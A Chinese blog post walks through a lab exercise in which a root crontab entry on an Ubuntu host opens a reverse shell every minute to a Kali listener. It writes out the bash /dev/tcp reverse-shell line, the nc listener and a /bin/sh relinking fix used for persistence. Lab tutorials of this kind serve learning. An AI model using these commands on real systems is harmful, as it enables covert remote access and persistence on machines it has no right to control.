Ubuntu计划任务反弹shell

首先介绍一下实验环境

1.被攻击者:Ubuntu 192.168.0.8

2.攻击者:kali  192.168.0.127

 

首先第一步在Ubuntu系统下添加crontab 计划任务

* * * * * bash -i  >& /etc/tcp/192.168.0.127/8888 0>&1

 

第二步在kali系统下使用nc命令监听8888端口

nc -lp 8888

nc -l 开启监听

nc - p 指定端口

可是等了半天我的Kali并没有成功收到shell

 

那么我们查看一下Ubuntu这边的日志,看看问题出在哪里

tail -f /var/log/syslog

可以看到这边日志给出的错误信息是 No MTA installed,discarding output

 

经过kakaxi 和 ttgo2 两位老师的老师的指导,知道这句话的意思是

Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话

想看到真正的报错信息有两种解决办法:

1.安装邮件系统

2.将计划任务的错误信息输出到一个文件内

 

这里我们介绍第2种方法:

首先我们去修改一下计划任务

crontab -e

* * * * * bash -i  '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1

 

然后我们过一分钟去文件error.txt查看报错信息

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件

 

ls -l | grep -w “sh”

可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell

而实际上dash这个shell只有运行脚本的能力,而没有交互能力。

这里我们只需要将修改sh的软链接为bash即可

ln - s -f bash /bin/sh

这里需要注意:普通用户是没有权限修改之前的软链接的,在这里我们需要提升到root权限

用到的命令是sudo -i 然后输入自己普通账号的密码即可。

此时我们已经将/bin/sh的软链接成功修改为bash

 

解决完这个问题之后我们再回到任务计划里,重新书写任务计划(注意:反弹shell依然需要root权限)

 

最后我们观察kali系统,发现已经成功反弹回shell

 

总结一下:Ubuntu下计划任务反弹shell需要注意的事项

1.需要用root权限书写计划

2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash 

 

当然我们也可以不修改/bin/sh的软链接
直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以

具体操作如下
先将/bin/sh的链接修改为/bin/dash

 

然后我在/var目录下创建了一个脚本cronshell,并赋予它执行权限

 

之后修改计划任务

 

kali退出shell并重新监听8888端口

 

实验成功

 

 

 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值